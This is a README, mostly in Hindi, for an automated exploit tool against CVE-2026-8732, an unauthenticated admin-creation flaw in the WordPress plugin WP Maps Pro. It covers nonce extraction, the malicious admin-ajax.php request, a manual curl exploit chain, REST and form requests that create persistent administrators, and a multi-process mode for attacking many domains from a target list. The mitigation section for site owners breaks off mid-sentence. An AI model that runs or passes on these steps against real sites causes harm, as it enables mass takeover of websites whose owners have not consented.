
CVE-2026-8732 के लिए स्वचालित 8-चरण शोषण, WP Maps Pro ≤ 6.1.0 में एक अप्रमाणित विशेषाधिकार वृद्धि। लक्ष्यों को स्कैन करने, नॉन्स निकालने और व्यवस्थापक खाते बनाने के लिए मल्टीप्रोसेसिंग और asyncio का उपयोग करता है।
8-चरण स्वचालित शोषण | मल्टीप्रोसेसिंग + AsyncIO | सत्यापित व्यवस्थापक निर्माण
WordPress प्लगइन WP Maps Pro संस्करण ≤ 6.1.0 में बिना प्रमाणीकरण के विशेषाधिकार वृद्धि की कमजोरी है। कोई भी बिना क्रेडेंशियल वाला हमलावर व्यवस्थापक खाता बना सकता है और साइट पर पूर्ण नियंत्रण ले सकता है।
यह कमजोरी FlipperCode विक्रेता की सहायता टीम के लिए डिज़ाइन की गई "अस्थायी पहुँच" सुविधा से उत्पन्न होती है, लेकिन बिना पर्याप्त सुरक्षा के सार्वजनिक रूप से उजागर हो गई।
┌──────────────────────────────────────────────────────────────┐
│ कमजोरी 1 — बिना प्रमाणीकरण के उजागर एंडपॉइंट │
│ ▸ AJAX क्रिया wp_ajax_nopriv_ के साथ पंजीकृत │
│ ▸ बिना लॉगिन के कोई भी पहुँच सकता है │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ कमजोरी 2 — सार्वजनिक पृष्ठ पर लीक हुआ नॉन्स │
│ ▸ wpgmp_local.nonce ऑब्जेक्ट हर पृष्ठ पर एम्बेड होता है │
│ ▸ हमलावर HTML स्रोत से नॉन्स निकाल सकता है │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ कमजोरी 3 — कोई पहुँच अधिकार जाँच नहीं │
│ ▸ कॉलबैक फ़ंक्शन केवल नॉन्स सत्यापित करता है │
│ ▸ कोई current_user_can() नहीं — कोई अतिरिक्त सुरक्षा नहीं│
└──────────────────────────────────────────────────────────────┘
┌─────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ चरण 1 │──▶│ चरण 2 │──▶│ चरण 3 │──▶│ चरण 4 │
│ हल │ │ WP जांच │ │ प्लगइन │ │ संस्करण │
│ HTTPS? │ │ वर्डप्रेस│ │ पहचान │ │ ≤6.1.0? │
│ HTTP? │ │ wp-कंटेंट│ │ wpgmp_ │ │ WAF? │
└─────────┘ └──────────┘ └──────────┘ └─────┬────┘
│ कमजोर
▼
┌──────────────────────────────────────────────────────────┐
│ चरण 5 — नॉन्स निष्कर्षण │
│ │
│ समूह A (API) समूह B (सामग्री) समूह C │
│ ├─ M1: REST पृष्ठ ├─ M4: साइटमैप XML └─ M7: स्लग │
│ ├─ M2: REST खोज ├─ M5: मुखपृष्ठ लिंक बलपूर्वक │
│ └─ M3: rest_route └─ M6: RSS/Atom फ़ीड प्रयास │
│ │
│ लक्ष्य: wpgmp_local.nonce = "fc-call-nonce" │
└──────────────────────────┬───────────────────────────────┘
│ नॉन्स मिल गया
▼
┌──────────┐ ┌──────────┐ ┌──────────┐
│ चरण 6 │──▶│ चरण 7 │──▶│ चरण 8 │
│ शोषण │ │ सत्यापित│ │ व्यवस्थापक│
│ POST │ │ जादू URL│ │ जोड़ें │
│ AJAX │ │ कुकी │ │ स्थायी │
│ नॉन्स+ │ │ लॉगिन │ │ REST API │
│ check_ │ │ जाँच │ │ WP-Admin │
│ temp=false│ │ │ │ फ़ॉर्म │
└──────────┘ └──────────┘ └──────────┘
│
▼
✅ व्यवस्थापक बनाया गया
लॉगिन: wp_xxxx / पासवर्ड
भूमिका: व्यवस्थापक
POST /wp-admin/admin-ajax.php HTTP/1.1
होस्ट: target.com
सामग्री-प्रकार: application/x-www-form-urlencoded
action=wpgmp_temp_access_ajax
nonce=<नॉन्स_निष्कर्षण>
check_temp=false
यदि कमजोर है तो प्रतिक्रिया:
{"url":"https://target.com/?wpgmp_access=abc123def456"}
यह जादू URL स्वचालित लॉगिन
fc_user_XXXXX(भूमिका: व्यवस्थापक) के रूप में प्रदान करता है।
POST /wp-json/wp/v2/users HTTP/1.1
होस्ट: target.com
X-WP-Nonce: <REST_NONCE>
सामग्री-प्रकार: application/json
{
"username": "wp_xxxxxxxx",
"email": "user@localhost",
"password": "Str0ng!Pass#2026",
"roles": ["administrator"]
}
POST /wp-admin/user-new.php HTTP/1.1
होस्ट: target.com
कुकी: [admin_cookies]
सामग्री-प्रकार: application/x-www-form-urlencoded
user_login=wp_xxxxxxxx
email=user@localhost
pass1=Str0ng!Pass#2026
pass2=Str0ng!Pass#2026
pw_weak=1 <-- कुंजी: कमजोर पासवर्ड की पुष्टि
role=administrator
createuser=नया उपयोगकर्ता जोड़ें
_wpnonce_create-user=<NONCE>
महत्वपूर्ण कुंजी:
pw_weak=1अनिवार्य है — इस पैरामीटर के बिना वर्डप्रेस कमजोर पासवर्ड को अस्वीकार करता है।
CVE-2026-8732.py
│
├── 📦 नॉन्स फ़ाइंडर — 7 विधियों वाला नॉन्स खोजक
│ ├── समूह A (API): M1 REST पृष्ठ, M2 REST खोज, M3 rest_route
│ ├── समूह B (सामग्री): M4 साइटमैप, M5 मुखपृष्ठ लिंक, M6 RSS फ़ीड
│ └── समूह C (बलपूर्वक): M7 स्लग बलपूर्वक प्रयास (30+ सामान्य स्लग)
│
├── ⚔️ शोषणकर्ता — 8-चरण शोषण इंजन
│ ├── resolve() → चरण 1: प्रोटोकॉल चयन
│ ├── check_wp() → चरण 2: वर्डप्रेस सत्यापन
│ ├── detect_plugin() → चरण 3: प्लगइन पहचान + प्रारंभिक नॉन्स
│ ├── detect_version() → चरण 4: संस्करण पहचान + WAF
│ ├── exploit() → चरण 6: मुख्य शोषण
│ ├── verify() → चरण 7: व्यवस्थापक लॉगिन सत्यापन
│ └── add_admin() → चरण 8: स्थायी व्यवस्थापक जोड़ें
│
├── 🔧 कार्य प्रक्रिया — मल्टीप्रोसेसिंग कार्य प्रक्रिया
│ ├── producer() → mp.Queue से डोमेन पढ़ें
│ └── consumer() (N) → समानांतर स्कैन निष्पादित करें
│
└── 🖥️ स्कैनर — उपयोगकर्ता इंटरफ़ेस
├── single() → एकल लक्ष्य मोड (इंटरैक्टिव)
└── multi() → बहु-लक्ष्य मोड (सामूहिक)
targets.txt mp.Queue (कार्य) asyncio.Queue
┌─────────┐ ┌─────────────────┐ ┌──────────────────┐
│ डोमेन1 │───▶│ डोमेन कतार │───▶│ आंतरिक कतार │
│ डोमेन2 │ │ (प्रक्रियाओं │ │ (प्रति प्रक्रिया)│
│ डोमेन3 │ │ के बीच IPC) │ └────────┬─────────┘
│ ... │ └─────────────────┘ │
└─────────┘ ┌─────────▼──────────┐
│ उपभोक्ता (N) │
│ शोषणकर्ता.scan() │
│ 8 पूर्ण चरण │
└─────────┬──────────┘
│
┌─────────▼──────────┐
│ mp.Queue (परिणाम) │──▶ vuln.txt
│ + JSON + TXT │ + debug.log
└────────────────────┘
pip install aiohttp
python3 CVE-2026-8732.py
[?] Pilih mode:
1. Single Target
2. Multi Target (file list)
> 1
[?] Target domain (tanpa http/https): target.com
[?] Timeout [default: 15]: 15
python3 CVE-2026-8732.py
[?] Pilih mode:
1. Single Target
2. Multi Target (file list)
> 2
[?] Path file target (.txt): targets.txt
[?] Jumlah process [default: 10]: 10
[?] Concurrency per process [default: 50]: 50
[?] Timeout per request [default: 10]: 10
[?] Output file [default: vuln.txt]: vuln.txt
[?] Debug mode? (y/n) [default: n]: y
# चरण 1: फ्रंटएंड पृष्ठ से नॉन्स निकालें
NONCE=$(curl -sk https://target.com/ | grep -oP '"nonce"\s*:\s*"\K[a-f0-9]{10}')
echo "Nonce: $NONCE"
# चरण 2: शोषण पेलोड भेजें
RESPONSE=$(curl -sk -X POST https://target.com/wp-admin/admin-ajax.php \
-d "action=wpgmp_temp_access_ajax&nonce=$NONCE&check_temp=false")
echo "Response: $RESPONSE"
# चरण 3: व्यवस्थापक के रूप में लॉगिन करने के लिए जादू URL तक पहुँचें
MAGIC_URL=$(echo $RESPONSE | python3 -c "import sys,json; print(json.load(sys.stdin)['url'])")
curl -sk -L -c cookies.txt "$MAGIC_URL"
# चरण 4: व्यवस्थापक पहुँच सत्यापित करें
curl -sk -b cookies.txt https://target.com/wp-admin/profile.php | grep 'id="user_login"'
# चरण 5: REST API या WP-Admin फ़ॉर्म के माध्यम से स्थायी व्यवस्थापक बनाएँ
व्यवस्थापक तभी सफलतापूर्वक बनाया जाता है यदि और केवल यदि दोनों शर्तें पूरी हों:
┌───────────────┐ ┌───────────────┐
│ शर्त 1 │ और│ शर्त 2 │
│ संस्करण ≤6.1.0│ │ गोल्ड सक्रिय│
│ │ │ │
└───────┬───────┘ └───────┬───────┘
│ │
▼ ▼
nopriv क्रिया WPGMP_Temp_
अभी भी पंजीकृत पहुँच उपलब्ध
│ │
└────────┬─────────┘
▼
✅ व्यवस्थापक बनाया गया
| यदि शर्त विफल होती है | परिणाम |
|---|---|
| संस्करण ≥ 6.1.1 | ❌ पैच किया गया — wp_ajax_nopriv_ क्रिया हटा दी गई |
| गोल्ड सक्रिय नहीं | ⚠️ PHP क्रैश — WPGMP_Temp_Access वर्ग मौजूद नहीं |
CVE-2026-8732/
├── CVE-2026-8732.py # स्वचालित शोषण स्क्रिप्ट
├── README.md # परियोजना दस्तावेज़ीकरण (यह फ़ाइल)
└── LICENSE # MIT लाइसेंस
यदि आप WP Maps Pro का उपयोग करने वाली साइट के मालिक हैं:
admin-ajax.php पर POST को ब्लॉक करने के लिएMIT License
Copyright (c) 2026 XENON1337
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
यह उपकरण केवल वैध उपयोग के लिए है। इसका उपयोग केवल उन प्रणालियों पर करें जिनके आप मालिक हैं या जिनके परीक्षण की स्पष्ट अनुमति है। बिना अनुमति के उपयोग अवैध और अनैतिक है। लेखक इस उपकरण के दुरुपयोग के लिए जिम्मेदार नहीं है।
द्वारा निर्मित XENON1337
| जानकारी | विवरण |
|---|
| CVE | CVE-2026-8732 |
| CVSS | 9.8 (गंभीर) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| प्लगइन | WP Maps Pro (wp-google-map-gold) |
| विक्रेता | FlipperCode |
| प्रभावित संस्करण | ≤ 6.1.0 |
| पैच किया गया संस्करण | 6.1.1 |
| प्रकार | क्रिटिकल फ़ंक्शन के लिए लुप्त प्रमाणीकरण (CWE-306) |
| प्रभाव | बिना प्रमाणीकरण के व्यवस्थापक निर्माण → साइट पर पूर्ण नियंत्रण |
| PoC लेखक | XENON1337 |
| चरण | नाम | कार्य | अनुरोध |
|---|
| 1 | हल | समानांतर में HTTPS/HTTP चुनें | 1 |
| 2 | WP जांच | सत्यापित करें कि लक्ष्य वर्डप्रेस है | 0 |
| 3 | प्लगइन पहचान | 3 परतों में WP Maps संकेतक जाँचें | 0-4 |
| 4 | संस्करण + WAF | readme.txt / CSS ?ver= पढ़ें + WAF पहचान | 1 |
| 5 | नॉन्स निष्कर्षण | 3 समूहों में 7 खोज विधियाँ | 0-150 |
| 6 | शोषण | admin-ajax.php पर POST → अस्थायी व्यवस्थापक खाता बनाएँ | 1 |
| 7 | सत्यापन | जादू URL तक पहुँच → व्यवस्थापक सत्र की पुष्टि | 2 |
| 8 | व्यवस्थापक जोड़ें | REST API (मुख्य) + WP-Admin फ़ॉर्म (बैकअप) | 4 |
| घटक | प्रौद्योगिकी | कार्य |
|---|
| HTTP क्लाइंट | aiohttp | कनेक्शन पूलिंग के साथ एसिंक्रोनस HTTP अनुरोध |
| समानांतरता | asyncio + multiprocessing | मल्टी-प्रोसेस + प्रति प्रक्रिया async |
| IPC कतार | mp.Queue | मुख्य प्रक्रिया और कार्यकर्ताओं के बीच संचार |
| कुकी | CookieJar(unsafe=True) | क्रॉस-डोमेन रीडायरेक्ट को संभालना |
| टाइमआउट | asyncio.wait_for | प्रति लक्ष्य समय सीमा (25 सेकंड) |